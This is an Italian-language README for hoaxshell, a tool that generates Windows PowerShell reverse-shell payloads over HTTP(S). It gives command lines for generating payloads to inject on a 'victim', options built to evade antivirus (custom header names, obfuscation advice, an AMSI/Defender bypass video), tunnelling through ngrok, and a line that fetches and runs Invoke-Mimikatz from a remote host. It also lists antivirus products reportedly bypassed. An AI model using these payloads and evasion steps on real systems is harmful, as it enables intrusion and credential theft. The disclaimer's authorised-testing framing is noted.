
Un generatore e gestore di payload per reverse shell Windows che abusa del protocollo http(s) per stabilire una reverse shell simile a un beacon.
⚠️ A partire dal 2022-10-18, hoaxshell viene rilevato da AMSI (malware-encyclopedia). Devi offuscare il payload generato per poterlo usare. Guarda questo video su come offuscare manualmente e bypassare MS Defender:
hoaxshell è un generatore di payload e handler per reverse shell Windows che abusa del protocollo http(s) per stabilire una reverse shell simile a un beacon, basandosi sul seguente concetto:

Questo concetto c2 (che potrebbe essere implementato usando protocolli diversi da http o eseguibili preinstallati) può essere usato per stabilire sessioni che promuovono l'illusione di avere una shell, ma sono lontane da una vera pty.
HoaxShell se l'è cavata bene contro i software AV (controlla la tabella PoC di bypass AV per maggiori informazioni). Sebbene ora sia generalmente rilevato, è facile offuscare i payload generati usando strumenti automatici o manualmente.
Disclaimer: Realizzato esclusivamente per scopi di test e didattici. NON eseguire i payload generati da questo strumento contro host per i quali non hai esplicito permesso e autorizzazione a testare. Sei responsabile di qualsiasi problema possa derivare dall'uso di questo strumento.
[2022-10-11] Recente e fantastico, realizzato da John Hammond -> youtube.com/watch?v=fgSARG82TJY
[2022-07-15] Demo della versione originale, realizzata da me -> youtube.com/watch?v=SEufgD5UxdU

Trovi altri screenshot qui.
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py
Importante: Come mezzo per evitare il rilevamento, hoaxshell genera automaticamente valori casuali per l'ID di sessione, i percorsi URL e il nome di un header http personalizzato utilizzato nel processo, ogni volta che lo script viene avviato. Il payload generato funzionerà solo per l'istanza per cui è stato generato. Usa l'opzione -g per bypassare questo comportamento e ristabilire una sessione attiva o riutilizzare un payload generato in precedenza con una nuova istanza di hoaxshell.
Quando esegui hoaxshell, genererà il proprio payload PowerShell da copiare e iniettare sulla vittima. Di default, il payload è codificato in base64 per comodità. Se hai bisogno del payload non elaborato, esegui il comando del prompt "rawpayload" o avvia hoaxshell con l'argomento -r. Dopo che il payload è stato eseguito sulla vittima, potrai eseguire comandi PowerShell contro di essa.
Invoke-Expression (predefinito)sudo python3 hoaxshell.py -s <your_ip>
Usa -x per fornire un nome di file .ps1 (percorso assoluto) da creare sulla macchina vittima. Dovresti controllare il payload grezzo prima di eseguirlo, assicurandoti che il percorso fornito sia valido.
sudo python3 hoaxshell.py -s <your_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Hoaxshell utilizza un header http per trasferire le informazioni sulla sessione della shell. Di default, all'header viene dato un nome casuale che può essere rilevato da regole AV basate su regex. Usa -H per fornire un nome standard o personalizzato per l'header http, per evitare il rilevamento.
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Questo particolare payload è un campanello d'allarme, poiché inizia con un blocco aggiuntivo di codice che istruisce PowerShell a saltare i controlli dei certificati SSL, il che lo rende sospetto e facile da rilevare, oltre a essere significativamente più lungo. Non consigliato.
# Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
# Pass the cert.pem and key.pem as arguments:
sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>
Se possiedi un dominio, usa questa opzione per generare un payload https più corto e meno rilevabile fornendo il tuo DN con -s insieme a un certificato attendibile (-c cert.pem -k privkey.pem).
sudo python3 hoaxshell.py -s <your.domain.com> -t -c </path/to/cert.pem> -k <path/to/key.pem>
In caso tu chiuda accidentalmente il terminale, ci sia un blackout o altro, puoi avviare hoaxshell in modalità di recupero sessione; tenterà di ristabilire una sessione, dato che il payload è ancora in esecuzione sulla macchina vittima.
sudo python3 hoaxshell.py -s <your_ip> -g
Importante: Assicurati di avviare hoaxshell con le stesse impostazioni della sessione che stai cercando di ripristinare (http/https, porta, ecc.).
Usa una qualsiasi delle varianti di payload con l'opzione -cm (--constraint-mode) per generare un payload che funziona anche se la vittima è configurata per eseguire PS in modalità Constraint Language. Usando questa opzione, sacrifichi un po' della precisione di decodifica dello stdout della tua reverse shell.
sudo python3 hoaxshell.py -s <your_ip> -cm

Utilizza i programmi di tunneling Ngrok o LocalTunnel per ottenere sessioni attraverso tunnel sicuri, superando problemi come non avere un indirizzo IP statico o il tuo ISP che vieta il port forwarding.
Usa -ng o --ngrok per il server Ngrok
sudo python3 hoaxshell.py -ng
Usa -lt o --localtunnel per il server LocalTunnel
sudo python3 hoaxshell.py -lt
La shell si bloccherà se esegui un comando che avvia una sessione interattiva. Esempio:
# this command will execute succesfully and you will have no problem:
> powershell echo 'This is a test'
# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:
> powershell
# In the same manner, you won't have a problem executing this:
> cmd /c dir /a
# But this will cause your hoaxshell to hang:
> cmd.exe
Quindi, se ad esempio volessi eseguire mimikatz tramite hoaxshell, dovresti invocare i comandi:
hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'
In breve, devi fare attenzione a non eseguire un exe o cmd che avvia una sessione interattiva nel contesto PowerShell di hoaxshell.
Alcune persone fantastiche sono state così gentili da inviarmi/pubblicare video PoC dell'esecuzione dei payload di hoaxshell contro sistemi che eseguono soluzioni AV diverse da MS Defender, senza essere rilevati. Di seguito una tabella di riferimento con i link:
Importante: Non so se tu possa ancora usare hoaxshell in modo efficace per bypassare queste soluzioni. È ragionevole supporre che la rilevabilità cambierà presto (se non è già cambiata).
13/10/2022 - Aggiunta l'opzione di supporto alla modalità Constraint Language (-cm).08/10/2022 - Aggiunte le opzioni -ng e -lt che generano payload PS per ottenere sessioni utilizzando gli strumenti di tunneling ngrok o localtunnel, al fine di aggirare limitazioni come indirizzi IP statici e port forwarding.06/09/2022 - Aggiunto un nuovo payload che scrive i comandi da eseguire in un file invece di utilizzare Invoke-Expression. Per usarlo, l'utente deve fornire un nome di file .ps1 (percorso assoluto) sulla macchina vittima tramite l'opzione -x.04/09/2022 - Sono state apportate modifiche per migliorare il meccanismo di consegna dei comandi, poiché includeva componenti che potevano essere facilmente segnalati. Aggiunte l'opzione -t insieme a https_payload_trusted.ps1. Ora puoi usare hoaxshell fornendo un nome di dominio insieme a un certificato attendibile. Questo genererà un payload https più corto e meno rilevabile.01/09/2022 - Aggiunta l'opzione che consente agli utenti di dare un nome personalizzato all'header (casuale di default) utilizzato nel processo di attacco, che trasporta l'ID di sessione della shell. Questo rende l'attacco meno rilevabile, ad esempio usando un nome di header standard come "Authorization".| Soluzione AV | Data | PoC |
|---|
| SentinelOne | 2022-10-18 | https://twitter.com/i/status/1582137400880336896 |
| Norton | 2022-10-17 | https://twitter.com/i/status/1582278579244929024 |
| Bitdefender | 2022-10-15 | https://www.linkedin.com/posts/rohitjain-19_hoaxshell-cy83rr0h1t-penetrationtesting-activity-6987080745139765248-8cdT?utm_source=share&utm_medium=member_desktop |
| McAfee | 2022-10-15 | https://twitter.com/i/status/1581605531365814273 |
| Kaspersky | 2022-10-13 | https://www.youtube.com/watch?v=IyMH_eCC4Rk |
| Sophos | 2022-09-08 | https://www.youtube.com/watch?v=NYR0rWx4x8k |
-H31/08/2022 - Aggiunta l'opzione -i che genera il payload PS modificato per usare Invoke-RestMethod invece dell'utilità Invoke-WebRequest, quindi ora l'utente può scegliere (grazie a questa issue). Ho anche corretto un bug presente nel prompt (a volte alterava il percorso).